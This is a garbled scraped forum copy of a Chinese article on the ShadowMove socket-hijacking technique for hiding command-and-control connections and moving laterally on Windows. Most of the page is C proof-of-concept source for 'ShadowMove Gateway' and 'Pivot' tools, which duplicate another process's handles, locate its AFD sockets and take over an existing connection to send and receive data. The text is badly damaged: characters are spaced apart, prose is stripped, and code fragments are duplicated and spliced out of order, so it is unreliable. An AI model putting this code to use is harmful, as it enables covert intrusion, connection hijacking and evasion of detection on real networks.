[16402] 2021-02-05_ShadowMove套接字劫持技术分析,巧妙隐藏与C2的连接

文档创建者:s7ckTeam
浏览次数:18
最后更新:2025-01-18
2021-02-05_ShadowMove套接字劫持技术分析,巧妙隐藏与C2的连接 S h a d o w M o v e C 2 A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 2 - 0 5 使 S h a d o w M o v e 使 S h a d o w M o v e P o C 使 S h a d o w M o v e S h a d o w M o v e n o n - c o o p e r a t i v e S o c k e t 2 0 2 0 U S E N I X S h a d o w M o v e :   A   S t e a l t h y   L a t e r a l   M o v e m e n t   S t r a t e g y A F D W i n d o w s   A P I S o c k e t 使 W S A D u p l i c a t e S o c k e t ( ) n o n - c o o p e r a t i v e S o c k e t 便 S o c k e t S h a d o w M o v e 西 P R O C E S S _ D U P _ H A N D L E D e v i c e A f d 使 g e t p e e r n a m e ( ) S h a d o w M o v e 使 E D R C & C 使 S h a d o w M o v e C & C C & C m s s q l 使 C & C S h a d o w M o v e 使 P R O C E S S _ D U P _ H A N D L E 0 x 2 4 d e v i c e a f d I P I P W S A D u p l i c a t e S o c k e t W W S A P R O T O C O L _ I N F O S o c k e t 使 S o c k e t S h a d o w M o v e   G a t e w a y P o C P I D C & C I P /   P o C   o f   S h a d o w M o v e   G a t e w a y   b y   J u a n   M a n u e l   F e r n á n d e z   ( @ T h e X C 3 L L )
/   P o C   o f   S h a d o w M o v e   G a t e w a y   b y   J u a n   M a n u e l   F e r n á n d e z   ( @ T h e X C 3 L L ) # d e f i n e   _ W I N S O C K _ D E P R E C A T E D _ N O _ W A R N I N G S # i n c l u d e   < w i n s o c k 2 . h > # i n c l u d e   < W i n d o w s . h > # i n c l u d e   < s t d i o . h > # p r a g m a   c o m m e n t ( l i b , " W S 2 _ 3 2 " ) / /   M o s t   o f   t h e   c o d e   i s   a d a p t e d   f r o m   h t t p s : / / g i t h u b . c o m / Z e r 0 M e m 0 r y / W i n d o w s N T - H a n d l e - S c a n n e r / b l o b / m a s t e r / F i n d H a n d l e s / m a i n . c p p # d e f i n e   S T A T U S _ I N F O _ L E N G T H _ M I S M A T C H   0 x c 0 0 0 0 0 0 4 # d e f i n e   S y s t e m H a n d l e I n f o r m a t i o n   1 6 # d e f i n e   O b j e c t N a m e I n f o r m a t i o n   1 t y p e d e f   N T S T A T U S ( N T A P I *   _ N t Q u e r y S y s t e m I n f o r m a t i o n ) ( U L O N G   S y s t e m I n f o r m a t i o n C l a s s , P V O I D   S y s t e m I n f o r m a t i o n , U L O N G   S y s t e m I n f o r m a t i o n L e n g t h , P U L O N G   R e t u r n L e n g t h ) ; t y p e d e f   N T S T A T U S ( N T A P I *   _ N t D u p l i c a t e O b j e c t ) ( H A N D L E   S o u r c e P r o c e s s H a n d l e , H A N D L E   S o u r c e H a n d l e , H A N D L E   T a r g e t P r o c e s s H a n d l e , P H A N D L E   T a r g e t H a n d l e , A C C E S S _ M A S K   D e s i r e d A c c e s s , U L O N G   A t t r i b u t e s , U L O N G   O p t i o n s ) ; t y p e d e f   N T S T A T U S ( N T A P I *   _ N t Q u e r y O b j e c t ) ( H A N D L E   O b j e c t H a n d l e , U L O N G   O b j e c t I n f o r m a t i o n C l a s s , P V O I D   O b j e c t I n f o r m a t i o n , U L O N G   O b j e c t I n f o r m a t i o n L e n g t h , P U L O N G   R e t u r n L e n g t h ) ; t y p e d e f   s t r u c t   _ S Y S T E M _ H A N D L E { U L O N G   P r o c e s s I d ; B Y T E   O b j e c t T y p e N u m b e r ; B Y T E   F l a g s ;
B Y T E   F l a g s ; U S H O R T   H a n d l e ; P V O I D   O b j e c t ; A C C E S S _ M A S K   G r a n t e d A c c e s s ; }   S Y S T E M _ H A N D L E ,   *   P S Y S T E M _ H A N D L E ; t y p e d e f   s t r u c t   _ S Y S T E M _ H A N D L E _ I N F O R M A T I O N { U L O N G   H a n d l e C o u n t ; S Y S T E M _ H A N D L E   H a n d l e s [ 1 ] ; }   S Y S T E M _ H A N D L E _ I N F O R M A T I O N ,   *   P S Y S T E M _ H A N D L E _ I N F O R M A T I O N ; t y p e d e f   s t r u c t   _ U N I C O D E _ S T R I N G { U S H O R T   L e n g t h ; U S H O R T   M a x i m u m L e n g t h ; P W S T R   B u f f e r ; }   U N I C O D E _ S T R I N G ,   *   P U N I C O D E _ S T R I N G ; t y p e d e f   e n u m   _ P O O L _ T Y P E { N o n P a g e d P o o l , P a g e d P o o l , N o n P a g e d P o o l M u s t S u c c e e d , D o n t U s e T h i s T y p e , N o n P a g e d P o o l C a c h e A l i g n e d , P a g e d P o o l C a c h e A l i g n e d , N o n P a g e d P o o l C a c h e A l i g n e d M u s t S }   P O O L _ T Y P E ,   *   P P O O L _ T Y P E ; t y p e d e f   s t r u c t   _ O B J E C T _ N A M E _ I N F O R M A T I O N { U N I C O D E _ S T R I N G   N a m e ; }   O B J E C T _ N A M E _ I N F O R M A T I O N ,   *   P O B J E C T _ N A M E _ I N F O R M A T I O N ; P V O I D   G e t L i b r a r y P r o c A d d r e s s ( P S T R   L i b r a r y N a m e ,   P S T R   P r o c N a m e ) { r e t u r n   G e t P r o c A d d r e s s ( G e t M o d u l e H a n d l e A ( L i b r a r y N a m e ) ,   P r o c N a m e ) ; } S O C K E T   f i n d T a r g e t S o c k e t ( D W O R D   d w P r o c e s s I d ,   L P S T R   d s t I P )   { H A N D L E   h P r o c ; P S Y S T E M _ H A N D L E _ I N F O R M A T I O N   h a n d l e I n f o ;
D W O R D   h a n d l e I n f o S i z e   =   0 x 1 0 0 0 0 ; N T S T A T U S   s t a t u s ; D W O R D   r e t u r n L e n g t h ; W S A P R O T O C O L _ I N F O W   w s a P r o t o c o l I n f o   =   {   0   } ; S O C K E T   t a r g e t S o c k e t ; / /   O p e n   t a r g e t   p r o c e s s   w i t h   P R O C E S S _ D U P _ H A N D L E   r i g h t s h P r o c   =   O p e n P r o c e s s ( P R O C E S S _ D U P _ H A N D L E ,   F A L S E ,   d w P r o c e s s I d ) ; i f   ( ! h P r o c )   { p r i n t f ( " [ ! ]   E r r o r :   c o u l d   n o t   o p e n   t h e   p r o c e s s ! n " ) ; e x i t ( - 1 ) ; } p r i n t f ( " [ + ]   H a n d l e   t o   p r o c e s s   o b t a i n e d ! n " ) ; / /   F i n d   t h e   f u n c t i o n s _ N t Q u e r y S y s t e m I n f o r m a t i o n   N t Q u e r y S y s t e m I n f o r m a t i o n   =   ( _ N t Q u e r y S y s t e m I n f o r m a t i o n ) G e t L i b r a r y P r o c A d d r e s s ( " n t d l l . d l l " ,   " N t Q u e r y S y s t e m I n f o r m a t i o n " ) ; _ N t D u p l i c a t e O b j e c t   N t D u p l i c a t e O b j e c t   =   ( _ N t D u p l i c a t e O b j e c t ) G e t L i b r a r y P r o c A d d r e s s ( " n t d l l . d l l " ,   " N t D u p l i c a t e O b j e c t " ) ; _ N t Q u e r y O b j e c t   N t Q u e r y O b j e c t   =   ( _ N t Q u e r y O b j e c t ) G e t L i b r a r y P r o c A d d r e s s ( " n t d l l . d l l " ,   " N t Q u e r y O b j e c t " ) ; / /   R e t r i e v e   h a n d l e s   f r o m   t h e   t a r g e t   p r o c e s s h a n d l e I n f o   =   ( P S Y S T E M _ H A N D L E _ I N F O R M A T I O N ) m a l l o c ( h a n d l e I n f o S i z e ) ; w h i l e   ( ( s t a t u s   =   N t Q u e r y S y s t e m I n f o r m a t i o n ( S y s t e m H a n d l e I n f o r m a t i o n ,   h a n d l e I n f o ,   h a n d l e I n f o S i z e ,   N U L L ) )   = =   S T A T U S _ I N F O _ L E N G T H _ M I S M A T C H ) h a n d l e I n f o   =   ( P S Y S T E M _ H A N D L E _ I N F O R M A T I O N ) r e a l l o c ( h a n d l e I n f o ,   h a n d l e I n f o S i z e   * =   2 ) ; p r i n t f ( " [ + ]   F o u n d   [ % d ]   h a n d l e r s   i n   P I D   % d n = = = = = = = = = = = = = = = = = = = = = = = = = = = = n " ,   h a n d l e I n f o - > H a n d l e C o u n t ,   d w P r o c e s s I d ) ; / /   I t e r a t e f o r   ( D W O R D   i   =   0 ;   i   <   h a n d l e I n f o - > H a n d l e C o u n t ;   i + + )   { / /   C h e c k   i f   i t   i s   t h e   d e s i r e d   t y p e   o f   h a n d l e i f   ( h a n d l e I n f o - > H a n d l e s [ i ] . O b j e c t T y p e N u m b e r   = =   0 x 2 4 )   { S Y S T E M _ H A N D L E   h a n d l e   =   h a n d l e I n f o - > H a n d l e s [ i ] ; H A N D L E   d u p H a n d l e   =   N U L L ; P O B J E C T _ N A M E _ I N F O R M A T I O N   o b j e c t N a m e I n f o ; / /   D u p p l i c a t e   h a n d l e N t D u p l i c a t e O b j e c t ( h P r o c ,   ( H A N D L E ) h a n d l e . H a n d l e ,   G e t C u r r e n t P r o c e s s ( ) ,   & d u p H a n d l e ,   P R O C E S S _ A L L _ A C C E S S ,   F A L S E ,   D U P L I C A T E _ S A M E _ A C C E S S ) ; o b j e c t N a m e I n f o   =   ( P O B J E C T _ N A M E _ I N F O R M A T I O N ) m a l l o c ( 0 x 1 0 0 0 ) ; / /   G e t   h a n d l e   i n f o N t Q u e r y O b j e c t ( d u p H a n d l e ,   O b j e c t N a m e I n f o r m a t i o n ,   o b j e c t N a m e I n f o ,   0 x 1 0 0 0 ,   & r e t u r n L e n g t h ) ; / /   N a r r o w   t h e   s e a r c h   c h e c k i n g   i f   t h e   n a m e   l e n g t h   i s   c o r r e c t   ( l e n ( D e v i c e A f d )   = =   1 1   *   2 ) i f   ( o b j e c t N a m e I n f o - > N a m e . L e n g t h   = =   2 2 )   { p r i n t f ( " [ - ]   T e s t i n g   % d   o f   % d n " ,   i ,   h a n d l e I n f o - > H a n d l e C o u n t ) ;
/ /   C h e c k   i f   i t   e n d s   i n   " A f d " L P W S T R   n e e d l e   =   ( L P W S T R ) m a l l o c ( 8 ) ; m e m c p y ( n e e d l e ,   o b j e c t N a m e I n f o - > N a m e . B u f f e r   +   8 ,   6 ) ; i f   ( n e e d l e [ 0 ]   = =   ' A '   & &   n e e d l e [ 1 ]   = =   ' f '   & &   n e e d l e [ 2 ]   = =   ' d ' )   { / /   W e   g o t   a   c a n d i d a t e p r i n t f ( " t [ * ]   D e v i c e A f d   f o u n d   a t   % d ! n " ,   i ) ; / /   T r y   t o   d u p l i c a t e   t h e   s o c k e t s t a t u s   =   W S A D u p l i c a t e S o c k e t W ( ( S O C K E T ) d u p H a n d l e ,   G e t C u r r e n t P r o c e s s I d ( ) ,   & w s a P r o t o c o l I n f o ) ; i f   ( s t a t u s   ! =   0 )   { p r i n t f ( " t t [ X ]   E r r o r   d u p l i c a t i n g   s o c k e t ! n " ) ; f r e e ( n e e d l e ) ; f r e e ( o b j e c t N a m e I n f o ) ; C l o s e H a n d l e ( d u p H a n d l e ) ; c o n t i n u e ; } / /   W e   g o t   i t ? t a r g e t S o c k e t   =   W S A S o c k e t ( w s a P r o t o c o l I n f o . i A d d r e s s F a m i l y ,   w s a P r o t o c o l I n f o . i S o c k e t T y p e ,   w s a P r o t o c o l I n f o . i P r o t o c o l ,   & w s a P r o t o c o l I n f o ,   0 ,   W S A _ F L A G _ O V E R L A P P E D ) ; i f   ( t a r g e t S o c k e t   ! =   I N V A L I D _ S O C K E T )   { s t r u c t   s o c k a d d r _ i n   s o c k a d d r ; D W O R D   l e n ; l e n   =   s i z e o f ( S O C K A D D R _ I N ) ; / /   I t   t h i s   t h e   s o c k e t ? i f   ( g e t p e e r n a m e ( t a r g e t S o c k e t ,   ( S O C K A D D R * ) & s o c k a d d r ,   & l e n )   = =   0 )   { i f   ( s t r c m p ( i n e t _ n t o a ( s o c k a d d r . s i n _ a d d r ) ,   d s t I P )   = =   0 )   { p r i n t f ( " t [ * ]   D u p l i c a t e d   s o c k e t   ( % s ) n " ,   i n e t _ n t o a ( s o c k a d d r . s i n _ a d d r ) ) ; f r e e ( n e e d l e ) ; f r e e ( o b j e c t N a m e I n f o ) ; r e t u r n   t a r g e t S o c k e t ; } } } f r e e ( n e e d l e ) ; } } f r e e ( o b j e c t N a m e I n f o ) ; } }
H e l l o   f r o m   t h e   o t h e r   s i d e ! C & C C & C S t a y   h y d r a t e d ! 使 S h a d o w M o v e A     B     C A 访 C B 使 n e t s h 使 S h a d o w M o v e B A C S o c k e t A l d a p s e a r c h C A l d a p s e a r c h A B A A A B B C B 使 } r e t u r n   0 ; } i n t   m a i n ( i n t   a r g c ,   c h a r * *   a r g v )   { W O R D   w V e r s i o n R e q u e s t e d ; W S A D A T A   w s a D a t a ; D W O R D   d w P r o c e s s I d ; L P W S T R   d s t I P   =   N U L L ; S O C K E T   t a r g e t S o c k e t ; c h a r   b u f f [ 2 5 5 ]   =   {   0   } ; p r i n t f ( " t t t - = [   S h a d o w M o v e   G a t e w a y   P o C   ] = - n n " ) ; / /   s m g a t e w a y . e x e   [ P I D ]   [ I P   d s t ] / *   I t ' s   j u s t   a   P o C ,   w e   d o   n o t   v a l i d a t e   t h e   a r g s .   B u t   a t   l e a s t   c h e c k   i f   n u m b e r   o f   a r g s   i s   r i g h t   X )   * / i f   ( a r g c   ! =   3 )   { p r i n t f ( " [ ! ]   E r r o r :   s y n t a x   i s   % s   [ P I D ]   [ I P   d s t ] n " ,   a r g v [ 0 ] ) ; e x i t ( - 1 ) ; } d w P r o c e s s I d   =   s t r t o u l ( a r g v [ 1 ] ,   N U L L ,   1 0 ) ; d s t I P   =   ( L P S T R ) m a l l o c ( s t r l e n ( a r g v [ 2 ] )   *   ( c h a r )   +   1 ) ; m e m c p y ( d s t I P ,   a r g v [ 2 ] ,   s t r l e n ( d s t I P ) ) ; / /   C l a s s i c w V e r s i o n R e q u e s t e d   =   M A K E W O R D ( 2 ,   2 ) ; W S A S t a r t u p ( w V e r s i o n R e q u e s t e d ,   & w s a D a t a ) ; t a r g e t S o c k e t   =   f i n d T a r g e t S o c k e t ( d w P r o c e s s I d ,   d s t I P ) ; s e n d ( t a r g e t S o c k e t ,   " H e l l o   F r o m   t h e   o t h e r   s i d e ! n " ,   s t r l e n ( " H e l l o   F r o m   t h e   o t h e r   s i d e ! n " ) ,   0 ) ; r e c v ( t a r g e t S o c k e t ,   b u f f ,   2 5 5 ,   0 ) ; p r i n t f ( " n [ * ]   M e s s a g e   f r o m   o u t s i d e : n n   % s n " ,   b u f f ) ; r e t u r n   0 ; } / /   P o C   o f   S h a d o w M o v e   P i v o t   b y   J u a n   M a n u e l   F e r n á n d e z   ( @ T h e X C 3 L L )
# d e f i n e   _ W I N S O C K _ D E P R E C A T E D _ N O _ W A R N I N G S # i n c l u d e   < w i n s o c k 2 . h > # i n c l u d e   < W i n d o w s . h > # i n c l u d e   < s t d i o . h > # p r a g m a   c o m m e n t ( l i b , " W S 2 _ 3 2 " ) / /   M o s t   o f   t h e   c o d e   i s   a d a p t e d   f r o m   h t t p s : / / g i t h u b . c o m / Z e r 0 M e m 0 r y / W i n d o w s N T - H a n d l e - S c a n n e r / b l o b / m a s t e r / F i n d H a n d l e s / m a i n . c p p # d e f i n e   S T A T U S _ I N F O _ L E N G T H _ M I S M A T C H   0 x c 0 0 0 0 0 0 4 # d e f i n e   S y s t e m H a n d l e I n f o r m a t i o n   1 6 # d e f i n e   O b j e c t N a m e I n f o r m a t i o n   1 # d e f i n e   M S G _ E N D _ O F _ T R A N S M I S S I O N   " x 3 1 x 4 1 x 5 9 x 2 6 x 5 3 x 5 8 x 9 7 x 9 3 x 2 3 x 8 4 " # d e f i n e   B U F S I Z E   6 5 5 3 6 t y p e d e f   N T S T A T U S ( N T A P I *   _ N t Q u e r y S y s t e m I n f o r m a t i o n ) ( U L O N G   S y s t e m I n f o r m a t i o n C l a s s , P V O I D   S y s t e m I n f o r m a t i o n , U L O N G   S y s t e m I n f o r m a t i o n L e n g t h , P U L O N G   R e t u r n L e n g t h ) ; t y p e d e f   N T S T A T U S ( N T A P I *   _ N t D u p l i c a t e O b j e c t ) ( H A N D L E   S o u r c e P r o c e s s H a n d l e , H A N D L E   S o u r c e H a n d l e , H A N D L E   T a r g e t P r o c e s s H a n d l e , P H A N D L E   T a r g e t H a n d l e , A C C E S S _ M A S K   D e s i r e d A c c e s s , U L O N G   A t t r i b u t e s , U L O N G   O p t i o n s ) ; t y p e d e f   N T S T A T U S ( N T A P I *   _ N t Q u e r y O b j e c t ) ( H A N D L E   O b j e c t H a n d l e , U L O N G   O b j e c t I n f o r m a t i o n C l a s s , P V O I D   O b j e c t I n f o r m a t i o n , U L O N G   O b j e c t I n f o r m a t i o n L e n g t h , P U L O N G   R e t u r n L e n g t h ) ; t y p e d e f   s t r u c t   _ S Y S T E M _ H A N D L E { U L O N G   P r o c e s s I d ;
B Y T E   O b j e c t T y p e N u m b e r ; B Y T E   F l a g s ; U S H O R T   H a n d l e ; P V O I D   O b j e c t ; A C C E S S _ M A S K   G r a n t e d A c c e s s ; }   S Y S T E M _ H A N D L E ,   *   P S Y S T E M _ H A N D L E ; t y p e d e f   s t r u c t   _ S Y S T E M _ H A N D L E _ I N F O R M A T I O N { U L O N G   H a n d l e C o u n t ; S Y S T E M _ H A N D L E   H a n d l e s [ 1 ] ; }   S Y S T E M _ H A N D L E _ I N F O R M A T I O N ,   *   P S Y S T E M _ H A N D L E _ I N F O R M A T I O N ; t y p e d e f   s t r u c t   _ U N I C O D E _ S T R I N G { U S H O R T   L e n g t h ; U S H O R T   M a x i m u m L e n g t h ; P W S T R   B u f f e r ; }   U N I C O D E _ S T R I N G ,   *   P U N I C O D E _ S T R I N G ; t y p e d e f   e n u m   _ P O O L _ T Y P E { N o n P a g e d P o o l , P a g e d P o o l , N o n P a g e d P o o l M u s t S u c c e e d , D o n t U s e T h i s T y p e , N o n P a g e d P o o l C a c h e A l i g n e d , P a g e d P o o l C a c h e A l i g n e d , N o n P a g e d P o o l C a c h e A l i g n e d M u s t S }   P O O L _ T Y P E ,   *   P P O O L _ T Y P E ; t y p e d e f   s t r u c t   _ O B J E C T _ N A M E _ I N F O R M A T I O N { U N I C O D E _ S T R I N G   N a m e ; }   O B J E C T _ N A M E _ I N F O R M A T I O N ,   *   P O B J E C T _ N A M E _ I N F O R M A T I O N ; P V O I D   G e t L i b r a r y P r o c A d d r e s s ( P S T R   L i b r a r y N a m e ,   P S T R   P r o c N a m e ) { r e t u r n   G e t P r o c A d d r e s s ( G e t M o d u l e H a n d l e A ( L i b r a r y N a m e ) ,   P r o c N a m e ) ; } S O C K E T   f i n d T a r g e t S o c k e t ( D W O R D   d w P r o c e s s I d ,   L P S T R   d s t I P )   { H A N D L E   h P r o c ;
H A N D L E   h P r o c ; P S Y S T E M _ H A N D L E _ I N F O R M A T I O N   h a n d l e I n f o ; D W O R D   h a n d l e I n f o S i z e   =   0 x 1 0 0 0 0 ; N T S T A T U S   s t a t u s ; D W O R D   r e t u r n L e n g t h ; W S A P R O T O C O L _ I N F O W   w s a P r o t o c o l I n f o   =   {   0   } ; S O C K E T   t a r g e t S o c k e t ; / /   O p e n   t a r g e t   p r o c e s s   w i t h   P R O C E S S _ D U P _ H A N D L E   r i g h t s h P r o c   =   O p e n P r o c e s s ( P R O C E S S _ D U P _ H A N D L E ,   F A L S E ,   d w P r o c e s s I d ) ; i f   ( ! h P r o c )   { p r i n t f ( " [ ! ]   E r r o r :   c o u l d   n o t   o p e n   t h e   p r o c e s s ! n " ) ; e x i t ( - 1 ) ; } p r i n t f ( " [ + ]   H a n d l e   t o   p r o c e s s   o b t a i n e d ! n " ) ; / /   F i n d   t h e   f u n c t i o n s _ N t Q u e r y S y s t e m I n f o r m a t i o n   N t Q u e r y S y s t e m I n f o r m a t i o n   =   ( _ N t Q u e r y S y s t e m I n f o r m a t i o n ) G e t L i b r a r y P r o c A d d r e s s ( " n t d l l . d l l " ,   " N t Q u e r y S y s t e m I n f o r m a t i o n " ) ; _ N t D u p l i c a t e O b j e c t   N t D u p l i c a t e O b j e c t   =   ( _ N t D u p l i c a t e O b j e c t ) G e t L i b r a r y P r o c A d d r e s s ( " n t d l l . d l l " ,   " N t D u p l i c a t e O b j e c t " ) ; _ N t Q u e r y O b j e c t   N t Q u e r y O b j e c t   =   ( _ N t Q u e r y O b j e c t ) G e t L i b r a r y P r o c A d d r e s s ( " n t d l l . d l l " ,   " N t Q u e r y O b j e c t " ) ; / /   R e t r i e v e   h a n d l e s   f r o m   t h e   t a r g e t   p r o c e s s h a n d l e I n f o   =   ( P S Y S T E M _ H A N D L E _ I N F O R M A T I O N ) m a l l o c ( h a n d l e I n f o S i z e ) ; w h i l e   ( ( s t a t u s   =   N t Q u e r y S y s t e m I n f o r m a t i o n ( S y s t e m H a n d l e I n f o r m a t i o n ,   h a n d l e I n f o ,   h a n d l e I n f o S i z e ,   N U L L ) )   = =   S T A T U S _ I N F O _ L E N G T H _ M I S M A T C H ) h a n d l e I n f o   =   ( P S Y S T E M _ H A N D L E _ I N F O R M A T I O N ) r e a l l o c ( h a n d l e I n f o ,   h a n d l e I n f o S i z e   * =   2 ) ; p r i n t f ( " [ + ]   F o u n d   [ % d ]   h a n d l e r s   i n   P I D   % d n = = = = = = = = = = = = = = = = = = = = = = = = = = = = n " ,   h a n d l e I n f o - > H a n d l e C o u n t ,   d w P r o c e s s I d ) ; / /   I t e r a t e f o r   ( D W O R D   i   =   0 ;   i   <   h a n d l e I n f o - > H a n d l e C o u n t ;   i + + )   { / /   C h e c k   i f   i t   i s   t h e   d e s i r e d   t y p e   o f   h a n d l e i f   ( h a n d l e I n f o - > H a n d l e s [ i ] . O b j e c t T y p e N u m b e r   = =   0 x 2 4 )   { S Y S T E M _ H A N D L E   h a n d l e   =   h a n d l e I n f o - > H a n d l e s [ i ] ; H A N D L E   d u p H a n d l e   =   N U L L ; P O B J E C T _ N A M E _ I N F O R M A T I O N   o b j e c t N a m e I n f o ; / /   D u p p l i c a t e   h a n d l e N t D u p l i c a t e O b j e c t ( h P r o c ,   ( H A N D L E ) h a n d l e . H a n d l e ,   G e t C u r r e n t P r o c e s s ( ) ,   & d u p H a n d l e ,   P R O C E S S _ A L L _ A C C E S S ,   F A L S E ,   D U P L I C A T E _ S A M E _ A C C E S S ) ; o b j e c t N a m e I n f o   =   ( P O B J E C T _ N A M E _ I N F O R M A T I O N ) m a l l o c ( 0 x 1 0 0 0 ) ; / /   G e t   h a n d l e   i n f o N t Q u e r y O b j e c t ( d u p H a n d l e ,   O b j e c t N a m e I n f o r m a t i o n ,   o b j e c t N a m e I n f o ,   0 x 1 0 0 0 ,   & r e t u r n L e n g t h ) ; / /   N a r r o w   t h e   s e a r c h   c h e c k i n g   i f   t h e   n a m e   l e n g t h   i s   c o r r e c t   ( l e n ( D e v i c e A f d )   = =   1 1   *   2 ) i f   ( o b j e c t N a m e I n f o - > N a m e . L e n g t h   = =   2 2 )   {
i f   ( o b j e c t N a m e I n f o - > N a m e . L e n g t h   = =   2 2 )   { p r i n t f ( " [ - ]   T e s t i n g   % d   o f   % d n " ,   i ,   h a n d l e I n f o - > H a n d l e C o u n t ) ; / /   C h e c k   i f   i t   e n d s   i n   " A f d " L P W S T R   n e e d l e   =   ( L P W S T R ) m a l l o c ( 8 ) ; m e m c p y ( n e e d l e ,   o b j e c t N a m e I n f o - > N a m e . B u f f e r   +   8 ,   6 ) ; i f   ( n e e d l e [ 0 ]   = =   ' A '   & &   n e e d l e [ 1 ]   = =   ' f '   & &   n e e d l e [ 2 ]   = =   ' d ' )   { / /   W e   g o t   a   c a n d i d a t e p r i n t f ( " t [ * ]   D e v i c e A f d   f o u n d   a t   % d ! n " ,   i ) ; / /   T r y   t o   d u p l i c a t e   t h e   s o c k e t s t a t u s   =   W S A D u p l i c a t e S o c k e t W ( ( S O C K E T ) d u p H a n d l e ,   G e t C u r r e n t P r o c e s s I d ( ) ,   & w s a P r o t o c o l I n f o ) ; i f   ( s t a t u s   ! =   0 )   { p r i n t f ( " t t [ X ]   E r r o r   d u p l i c a t i n g   s o c k e t ! n " ) ; f r e e ( n e e d l e ) ; f r e e ( o b j e c t N a m e I n f o ) ; C l o s e H a n d l e ( d u p H a n d l e ) ; c o n t i n u e ; } / /   W e   g o t   i t ? t a r g e t S o c k e t   =   W S A S o c k e t ( w s a P r o t o c o l I n f o . i A d d r e s s F a m i l y ,   w s a P r o t o c o l I n f o . i S o c k e t T y p e ,   w s a P r o t o c o l I n f o . i P r o t o c o l ,   & w s a P r o t o c o l I n f o ,   0 ,   W S A _ F L A G _ O V E R L A P P E D ) ; i f   ( t a r g e t S o c k e t   ! =   I N V A L I D _ S O C K E T )   { s t r u c t   s o c k a d d r _ i n   s o c k a d d r ; D W O R D   l e n ; l e n   =   s i z e o f ( S O C K A D D R _ I N ) ; / /   I t   t h i s   t h e   s o c k e t ? i f   ( g e t p e e r n a m e ( t a r g e t S o c k e t ,   ( S O C K A D D R * ) & s o c k a d d r ,   & l e n )   = =   0 )   { i f   ( s t r c m p ( i n e t _ n t o a ( s o c k a d d r . s i n _ a d d r ) ,   d s t I P )   = =   0 )   { p r i n t f ( " t [ * ]   D u p l i c a t e d   s o c k e t   ( % s ) n " ,   i n e t _ n t o a ( s o c k a d d r . s i n _ a d d r ) ) ; f r e e ( n e e d l e ) ; f r e e ( o b j e c t N a m e I n f o ) ; r e t u r n   t a r g e t S o c k e t ; } } } f r e e ( n e e d l e ) ; } } f r e e ( o b j e c t N a m e I n f o ) ;
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则